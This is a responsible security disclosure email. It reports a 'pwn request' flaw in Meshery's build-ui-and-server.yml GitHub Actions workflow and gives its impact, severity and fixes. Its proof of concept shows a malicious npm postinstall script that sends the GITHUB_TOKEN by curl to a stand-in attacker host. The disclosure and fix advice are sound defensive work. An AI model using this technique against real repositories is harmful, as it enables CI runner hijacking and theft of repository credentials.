Subject: Security Disclosure — meshery/meshery build-ui-and-server.yml (Pwn Request)
Hi Meshery Security Team,
I'm Christopher Lusk, a security researcher. I'm reporting a CI/CD workflow vulnerability in meshery/meshery that allows any GitHub user to execute arbitrary code in the CI runner by opening a malicious pull request.
SUMMARY
The build-ui-and-server.yml workflow uses pull_request_target to check out fork code and runs make ui-build, which executes npm install on the fork's package.json. Any GitHub user can achieve arbitrary code execution via a poisoned preinstall/postinstall script. No label gate, no environment approval, no fork guard. The workflow has read-all permissions, limiting the token blast radius, but code execution on the runner is ungated.
This is the same vulnerability class exploited in the Trivy supply chain compromise (March 2026):
https://github.com/aquasecurity/trivy/discussions/10425DETAILS
File: .github/workflows/build-ui-and-server.yml
Job: ui-build
Trigger: pull_request_target, types: [opened, synchronize, reopened] — fires on every fork PR
Checkout ref: ${{ github.event.pull_request.head.sha }} — checks out fork code
Execution: make ui-build → runs npm install + npm run build in ui/ and provider-ui/ directories. The attacker controls package.json in both directories, including lifecycle scripts (preinstall, install, postinstall).
Permissions: read-all (workflow-level)
Job if: github.repository == 'meshery/meshery' — this is a repo identity check, not a fork guard. It verifies the workflow is running on the meshery repo (not a fork of the repo itself), but does NOT prevent fork PRs from triggering execution.
No defensive controls detected: no label gate, no environment protection, no permission check, no fork guard.
Additional concern: The ui-build job produces artifacts that are consumed by the tests-ui-e2e job, which has an environment gate and access to secrets (PROVIDER_TOKEN, CYPRESS_RECORD_KEY). While the E2E job itself is gated, a compromised ui-build job could poison artifacts that flow into the privileged E2E job.
PoC (NOT EXECUTED)
1. Fork meshery/meshery
2. Edit ui/package.json to add a malicious postinstall script:
{
"scripts": {
"postinstall": "curl -sSfL -X POST --data \"token=$GITHUB_TOKEN\"
https://attacker.example.com/exfil"
}
}
3. Open a pull request targeting the master branch
4. build-ui-and-server.yml triggers via pull_request_target
5. The ui-build job checks out the fork code and runs make ui-build
6. npm install executes the malicious postinstall script with access to the GITHUB_TOKEN (read-all) and all environment variables
IMPACT
- Arbitrary code execution in the GitHub-hosted CI runner
- GITHUB_TOKEN exfiltration (read-all permissions — can read repository contents)
- Network-based exfiltration of environment data
- Potential artifact poisoning vector into the E2E job which has access to PROVIDER_TOKEN and CYPRESS_RECORD_KEY
- Meshery is a CNCF incubating project with ~38k stars — a compromise could affect the project's release integrity
Severity: High (CVSS 3.1: 8.6 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
CWE: CWE-829 (Inclusion of Functionality from Untrusted Control Sphere)
Note: The read-all permission scope limits the direct blast radius compared to write-all configurations, but code execution is the primary risk and the artifact poisoning path to the E2E secrets is a concern.
RECOMMENDED FIXES
1. Add a fork guard to the ui-build job:
if: github.event.pull_request.head.repo.full_name == github.repository
2. Better: Switch to the pull_request trigger for the build job. The pull_request trigger sandboxes fork code with a read-only token and no secret access. Use workflow_run if downstream jobs need elevated permissions.
3. Review the artifact flow from ui-build → tests-ui-e2e to ensure poisoned build artifacts cannot compromise the E2E job's secrets.
Note: The build-and-preview-docs.yml workflow was also flagged by my scanner but manual triage confirmed it is properly isolated — fork code builds in a secretless job with contents:read and persist-credentials: false, and the deploy job checks out the base repo. No action needed on that workflow.
Reference:
https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/Identified by: Fluxgate (
https://github.com/north-echo/fluxgate)
Disclosure protocol:
https://github.com/north-echo/fluxgate/blob/main/DISCLOSURE.mdHappy to discuss remediation or provide additional details.
Best,
Christopher Lusk
GitHub: @north-echo